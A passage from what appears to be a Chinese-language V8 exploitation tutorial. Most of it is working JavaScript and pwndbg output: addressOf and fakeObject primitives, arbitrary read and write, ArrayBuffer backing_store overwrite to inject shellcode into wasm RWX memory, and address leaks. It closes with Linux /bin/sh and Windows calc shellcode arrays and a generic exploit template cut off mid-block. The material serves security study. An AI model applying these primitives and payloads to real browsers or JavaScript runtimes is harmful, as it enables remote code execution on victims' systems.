class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array=[other];</span><br><span class="line"><span class="keyword">var</span> double_array=[<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> double_array_map=double_array.<span class="title function_">getMap</span>();<span class="comment">//假设我们有办法获取到其 map 值</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">obj_array[<span class="number">0</span>]=target_var;</span><br><span class="line">obj_array.<span class="title function_">setMap</span>(double_array_map);<span class="comment">//设置其 map 为浮点数数组的 map</span></span><br><span class="line"><span class="keyword">let</span> target_var_addr=<span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>]);<span class="comment">//读取obj_array[0]并将该浮点数转换为整型</span></span><br><span class="line"><span class="keyword">return</span> target_var_addr;<span class="comment">//此处返回的是 target_var 的对象结构体地址</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>上述仅为大体代码，具体视情况修改。</p><p>大致逻辑就是，定义<code>obj_array</code>为对象数组，修改<code>obj_array</code>的map为浮点数数组的map，再读出<code>obj_array[0]</code>的值。（因为浮点数在内存中是以整数存储的，只是表示出来是浮点数而已，因此只需要把表示出来的浮点数转为整数即可）</p><h3 id="fakeObject"><a href="#fakeObject" class="headerlink" title="fakeObject"></a>fakeObject</h3><p>伪造一个以<code>float_arr[0]</code>为起始的对象，即返回一个类型混淆后的伪造对象。</p><p>一般写法为：</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//将某个地址转换为对象</span></span><br><span class="line"><span class="keyword">var</span> other=&#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array=[other];</span><br><span class="line"><span class="keyword">var</span> double_array=[<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj_array_map=obj_array.<span class="title function_">getMap</span>();<span class="comment">//假设我们有办法获取到其 map 值</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">double_array[<span class="number">0</span>]=<span class="title function_">int_to_float</span>(target_addr+<span class="number">1n</span>);<span class="comment">//将地址加一以区分对象和数值</span></span><br><span class="line">double_array.<span class="title function_">setMap</span>(obj_array_map);</span><br><span class="line"><span class="keyword">let</span> fake_obj=double_array[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>大致逻辑就是定义<code>obj_array</code>为对象数组，则其map表示elements为对象类型，再定义<code>double_array</code>为浮点数数组，将<code>obj_array</code>的map赋给<code>double_array</code>的map，这样解析出来<code>double_array</code>中的elements被解析出来就是以元素值为起始地址的对象了，即伪造对象。</p><h3 id="任意地址读-1"><a href="#任意地址读-1" class="headerlink" title="任意地址读"></a>任意地址读</h3><p>即利用上述获取地址的方式来获取伪造对象位置地址，然后伪造这个对象，且对象中的<code>elements</code>数组可以被控制，然后访问伪造对象的元素即可实现任意地址读。</p><p>首先尝试构造出结构：</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array=[double_array_map,<span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)];</span><br></pre></td></tr></table></figure></div><p><code>fake_array</code>中的值在内存中将被当作伪造对象，其内存布局为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">| 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element</span><br><span class="line">| 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray</span><br></pre></td></tr></table></figure></div><p>然后通过addressOf来获取<code>fake_array</code>的地址，进而计算出<code>double_array_map</code>所在地址，再利用fakeObject将其伪造成一个对象数组，对比JSArray的内存布局</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray</span><br></pre></td></tr></table></figure></div><p>即<code>double_array_map</code>需要为一个浮点数数组的map地址，然后便可以利用<code>fake_array[1]</code>修改伪造对象中的elements，然后访问<code>fakeObject[0]</code>即可读取该地址处的数据</p><p>代码逻辑大致为</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array=[double_array_map,<span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">read64_addr</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">var</span> fake_array_addr=<span class="title function_">addressOf</span>(fake_array);</span><br><span class="line"><span class="keyword">var</span> fake_object_addr=fake_array_addr-<span class="number">0x10n</span>;</span><br><span class="line"><span class="keyword">var</span> fake_object=<span class="title function_">fakeObject</span>(fake_object_addr);</span><br><span class="line">fake_array[<span class="number">1</span>]=<span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line"><span class="keyword">return</span> fake_object[<span class="number">0</span>];</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure></div><h2 id="任意地址写"><a href="#任意地址写" class="headerlink" title="任意地址写"></a>任意地址写</h2><p>只需要将任意地址读的<code>return fake_object[0]</code>改为<code>fake_object[0]=data</code>即可</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array=[double_array_map,<span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)];<span class="number">4</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">write64_addr</span>(<span class="params">addr,data</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">var</span> fake_array_addr=<span class="title function_">addressOf</span>(fake_array);</span><br><span class="line"><span class="keyword">var</span> fake_object_addr=fake_array_addr-<span class="number">0x10n</span>;</span><br><span class="line"><span class="keyword">var</span> fake_object=<span class="title function_">fakeObject</span>(fake_object_addr);</span><br><span class="line">fake_array[<span class="number">1</span>]=<span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">fake_object[<span class="number">0</span>]=data;</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure></div><h2 id="写入shellcode"><a href="#写入shellcode" class="headerlink" title="写入shellcode"></a>写入shellcode</h2><p>目前所实现的任意地址写并不能正常工作。因为我们写入shellcode时需要从内存段开头开始写，而<code>开头地址-8+1</code>是非法地址，会产生异常。因此直接写入不能成功。</p><p>另外的方法看如下代码：</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">0x10</span>);</span><br><span class="line"><span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">data_view.<span class="title function_">setFloat64</span>(<span class="number">0</span>, <span class="number">2.0</span>, <span class="literal">true</span>);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(data_buf);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(data_view);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>调试可以看到</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x28d0080499c9</span><br><span class="line">0x28d0080499c9: [JSArrayBuffer]</span><br><span class="line"> - map: 0x28d008203271 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x28d0081ca361 &lt;Object map = 0x28d008203299&gt;</span><br><span class="line"> - elements: 0x28d00800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - embedder fields: 2</span><br><span class="line"> - backing_store: 0x55b6c1b57660</span><br><span class="line"> - byte_length: 16</span><br><span class="line"> - max_byte_length: 16</span><br><span class="line"> - detachable</span><br><span class="line"> - properties: 0x28d00800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;&#125;</span><br><span class="line"> - embedder fields = &#123;</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; job 0x28d008049a09</span><br><span class="line">0x28d008049a09: [JSDataView]</span><br><span class="line"> - map: 0x28d008202ca9 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x28d0081c8665 &lt;Object map = 0x28d008202cd1&gt;</span><br><span class="line"> - elements: 0x28d00800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - embedder fields: 2</span><br><span class="line"> - buffer =0x28d0080499c9 &lt;ArrayBuffer map = 0x28d008203271&gt;</span><br><span class="line"> - byte_offset: 0</span><br><span class="line"> - byte_length: 16</span><br><span class="line"> - properties: 0x28d00800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;&#125;</span><br><span class="line"> - embedder fields = &#123;</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line"> &#125;</span><br><span class="line">pwndbg&gt; tel 0x55b6c1b57660</span><br><span class="line">00:0000│  0x55b6c1b57660 ◂— 0x4000000000000000</span><br><span class="line">01:0008│  0x55b6c1b57668 ◂— 0x0</span><br></pre></td></tr></table></figure></div><p>可以发现<code>JSDataView</code>的buffer成员即<code>JSArrayBuffer</code>结构体地址，而<code>JSArrayBuffer</code>的<code>backing_store</code>存储真正的数据地址。如果我们能修改<code>backing_store</code>成员为我们想要写的地址，那么就可以通过<code>JSDataView</code>的<code>setFloat64</code>方法直接写入了</p><p>且该版本下<code>backing_store</code>成员在<code>data_buf+0x1c</code>地址处</p><p>那么在写入shellcode的时候就可以先使用上面的任意地址写修改<code>backing_store</code>为shellcode存放地址，然后再用<code>dataview.setFloat64()</code>方法写入shellcode</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line"><span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line"><span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x18n</span>;</span><br><span class="line"><span class="title function_">write64_addr</span>(buf_backing_store_addr,addr);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><blockquote><p>实际操作中需要注意<code>backing_store</code>中写入的地址为64位，因此一般需要将目标地址的高32位和低32位一起读出，然后合并写入</p></blockquote><blockquote><p>如何获取写入内存段的地址呢，回到开始：</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line">%<span class="title class_">DebugPrint</span>(f);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(wasmInstance);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x1eec081d35b9</span><br><span class="line">0x1eec081d35b9: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x1eec08207399 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x1eec08048065 &lt;Object map = 0x1eec08207af1&gt;</span><br><span class="line"> - elements: 0x1eec0800222d &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x1eec08049ca9 &lt;Module map = 0x1eec08207231&gt;</span><br><span class="line"> - exports_object: 0x1eec08049e5d &lt;Object map = 0x1eec08207bb9&gt;</span><br><span class="line"> - native_context: 0x1eec081c3649 &lt;NativeContext[252]&gt;</span><br><span class="line"> - memory_object: 0x1eec081d35a1 &lt;Memory map = 0x1eec08207641&gt;</span><br><span class="line"> - table 0: 0x1eec08049e2d &lt;Table map = 0x1eec082074b1&gt;</span><br><span class="line"> - imported_function_refs: 0x1eec0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - indirect_function_table_refs: 0x1eec0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - managed_native_allocations: 0x1eec08049de5 &lt;Foreign&gt;</span><br><span class="line"> - memory_start: 0x7f8ed0000000</span><br><span class="line"> - memory_size: 65536</span><br><span class="line"> - imported_function_targets: 0x55c49b514c60</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x55c49b514d90</span><br><span class="line"> - indirect_function_table_size: 0</span><br><span class="line"> - indirect_function_table_sig_ids: (nil)</span><br><span class="line"> - indirect_function_table_targets: (nil)</span><br><span class="line"> - properties: 0x1eec0800222d &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;&#125;</span><br><span class="line"></span><br><span class="line">pwndbg&gt; tel 0x1eec081d35b9-1</span><br><span class="line">00:0000│  0x1eec081d35b8 ◂— 0x800222d08207399</span><br><span class="line">01:0008│  0x1eec081d35c0 ◂— 0x800222d0800222d /* &#x27;-&quot;&#x27; */</span><br><span class="line">02:0010│  0x1eec081d35c8 ◂— 0x800222d /* &#x27;-&quot;&#x27; */</span><br><span class="line">03:0018│  0x1eec081d35d0 —▸ 0x7f8ed0000000 ◂— 0x0</span><br><span class="line">04:0020│  0x1eec081d35d8 ◂— 0x10000</span><br><span class="line">05:0028│  0x1eec081d35e0 —▸ 0x55c49b4f0df0 —▸ 0x7ffede53abf0 ◂— 0x7ffede53abf0</span><br><span class="line">06:0030│  0x1eec081d35e8 —▸ 0x55c49b514c60 ◂— 0x0</span><br><span class="line">07:0038│  0x1eec081d35f0 ◂— 0x0</span><br><span class="line">pwndbg&gt; </span><br><span class="line">08:0040│  0x1eec081d35f8 ◂— 0x0</span><br><span class="line">09:0048│  0x1eec081d3600 ◂— 0x0</span><br><span class="line">0a:0050│  0x1eec081d3608 —▸ 0x55c49b514d90 —▸ 0x7f90d84c7be0 (main_arena+96) —▸ 0x55c49b592d10 ◂— 0x0</span><br><span class="line">0b:0058│  0x1eec081d3610 —▸ 0x55c49b4f0dd0 —▸ 0x1eec00000000 ◂— 0x1b000</span><br><span class="line">0c:0060│  0x1eec081d3618 —▸ 0x1e56fd940000 ◂— jmp 0x1e56fd940480 /* 0xcccccc0000047be9 */</span><br></pre></td></tr></table></figure></div><p>可以发现在<code>wasmInstance+0x68</code>处保存了内存段的起始地址</p></blockquote><h2 id="泄露地址"><a href="#泄露地址" class="headerlink" title="泄露地址"></a>泄露地址</h2><p>如果我们想泄露libc地址，那该如何泄露呢？可以选择<code>JSArray结构体 -&gt; Map结构体 -&gt; code属性地址 -&gt; code内存地址固定偏移处的v8指令地址 -&gt; v8的GOT表 -&gt; libc地址</code>，即：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0xa95080499c1</span><br><span class="line">0xa95080499c1: [JSArray]</span><br><span class="line"> - map: 0x0a9508203ae1 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> </span><br><span class="line"> pwndbg&gt; job 0x0a9508203ae1</span><br><span class="line">0xa9508203ae1: [Map]</span><br><span class="line"> - constructor: 0x0a95081cbe85 &lt;JSFunction Array (sfi = 0xa950814adc9)&gt;</span><br><span class="line"> </span><br><span class="line"> pwndbg&gt; job 0x0a95081cbe85</span><br><span class="line">0xa95081cbe85: [Function] in OldSpace</span><br><span class="line"> - code: 0x0a9500005501 &lt;Code BUILTIN ArrayConstructor&gt;</span><br><span class="line"> </span><br><span class="line"> pwndbg&gt; tel 0x0a9500005501-1+0x7ebab00 30</span><br><span class="line">00:0000│  0xa9507ec0000 ◂— 0x0</span><br><span class="line">... ↓     29 skipped</span><br></pre></td></tr></table></figure></div><p>这里可以看到我按照Toka✌的固定偏移并未出现地址，但是我发现了如下位置</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; tel 0x0a9500005501-1 10</span><br><span class="line">00:0000│  0xa9500005500 ◂— and dword ptr [rsi], esp /* &#x27;!&amp;&#x27; */</span><br><span class="line">01:0008│  0xa9500005508 ◂— sub eax, 0x45080022 /* &#x27;-&quot;&#x27; */</span><br><span class="line">02:0010│  0xa9500005510 ◂— imul esi, dword ptr [rax + rax], 0x1008 /* &#x27;i4&#x27; */</span><br><span class="line">03:0018│  0xa9500005518 ◂— add byte ptr [rax], al</span><br><span class="line">04:0020│  0xa9500005520 ◂— movsd dword ptr [rdi], dword ptr [rsi]</span><br><span class="line">05:0028│  0xa9500005528 ◂— or byte ptr [rax], al</span><br><span class="line">06:0030│  0xa9500005530 ◂— or byte ptr [rax], al</span><br><span class="line">07:0038│  0xa9500005538 ◂— add byte ptr [rax], al</span><br><span class="line">08:0040│  0xa9500005540 ◂— movabs r10, 0x5654c74796c0</span><br><span class="line">09:0048│  0xa9500005548 ◂— add byte ptr [rax], al</span><br></pre></td></tr></table></figure></div><p>可以看到0x40偏移位置出现了一个地址，对应d8在内存中的代码段</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0x5654c60fc000     0x5654c692f000 r--p   833000      0 /home/fuzz/v8/out/x64_9.6.180.6.release/d8</span><br><span class="line">0x5654c692f000     0x5654c776e000 r-xp   e3f000 832000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8</span><br><span class="line">0x5654c776e000     0x5654c77d6000 r--p    68000 1670000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8</span><br><span class="line">0x5654c77d6000     0x5654c77e7000 rw-p    11000 16d7000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8</span><br></pre></td></tr></table></figure></div><p>那么根据这个也可以泄露d8的地址，然后偏移到GOT表，进而泄露libc地址。</p><h2 id="通用shellcode及模板"><a href="#通用shellcode及模板" class="headerlink" title="通用shellcode及模板"></a>通用shellcode及模板</h2><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Linux x64</span></span><br><span class="line"><span class="keyword">var</span> shellcode = [  </span><br><span class="line">  <span class="number">0x2fbb485299583b6an</span>,  </span><br><span class="line">  <span class="number">0x5368732f6e69622fn</span>,  </span><br><span class="line">  <span class="number">0x050f5e5457525f54n</span>  </span><br><span class="line">];  </span><br><span class="line"></span><br><span class="line"><span class="comment">//Windows 计算器</span></span><br><span class="line"><span class="keyword">var</span> shellcode = [  </span><br><span class="line"><span class="number">0xc0e8f0e48348fcn</span>,  </span><br><span class="line"><span class="number">0x5152504151410000n</span>,  </span><br><span class="line"><span class="number">0x528b4865d2314856n</span>,  </span><br><span class="line"><span class="number">0x528b4818528b4860n</span>,  </span><br><span class="line"><span class="number">0xb70f4850728b4820n</span>,  </span><br><span class="line"><span class="number">0xc03148c9314d4a4an</span>,  </span><br><span class="line"><span class="number">0x41202c027c613cacn</span>,  </span><br><span class="line"><span class="number">0xede2c101410dc9c1n</span>,  </span><br><span class="line"><span class="number">0x8b20528b48514152n</span>,  </span><br><span class="line"><span class="number">0x88808bd001483c42n</span>,  </span><br><span class="line"><span class="number">0x6774c08548000000n</span>,  </span><br><span class="line"><span class="number">0x4418488b50d00148n</span>,  </span><br><span class="line"><span class="number">0x56e3d0014920408bn</span>,  </span><br><span class="line"><span class="number">0x4888348b41c9ff48n</span>,  </span><br><span class="line"><span class="number">0xc03148c9314dd601n</span>,  </span><br><span class="line"><span class="number">0xc101410dc9c141acn</span>,  </span><br><span class="line"><span class="number">0x244c034cf175e038n</span>,  </span><br><span class="line"><span class="number">0x4458d875d1394508n</span>,  </span><br><span class="line"><span class="number">0x4166d0014924408bn</span>,  </span><br><span class="line"><span class="number">0x491c408b44480c8bn</span>,  </span><br><span class="line"><span class="number">0x14888048b41d001n</span>,  </span><br><span class="line"><span class="number">0x5a595e58415841d0n</span>,  </span><br><span class="line"><span class="number">0x83485a4159415841n</span>,  </span><br><span class="line"><span class="number">0x4158e0ff524120ecn</span>,  </span><br><span class="line"><span class="number">0xff57e9128b485a59n</span>,  </span><br><span class="line"><span class="number">0x1ba485dffffn</span>,  </span><br><span class="line"><span class="number">0x8d8d480000000000n</span>,  </span><br><span class="line"><span class="number">0x8b31ba4100000101n</span>,  </span><br><span class="line"><span class="number">0xa2b5f0bbd5ff876fn</span>,  </span><br><span class="line"><span class="number">0xff9dbd95a6ba4156n</span>,  </span><br><span class="line"><span class="number">0x7c063c28c48348d5n</span>,  </span><br><span class="line"><span class="number">0x47bb0575e0fb800an</span>,  </span><br><span class="line"><span class="number">0x894159006a6f7213n</span>,  </span><br><span class="line"><span class="number">0x2e636c6163d5ffdan</span>,  </span><br><span class="line"><span class="number">0x657865n</span>,  </span><br><span class="line">];</span><br></pre></td></tr></table></figure></div><p>下面的模板对于类型混淆的v8漏洞应该都行</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 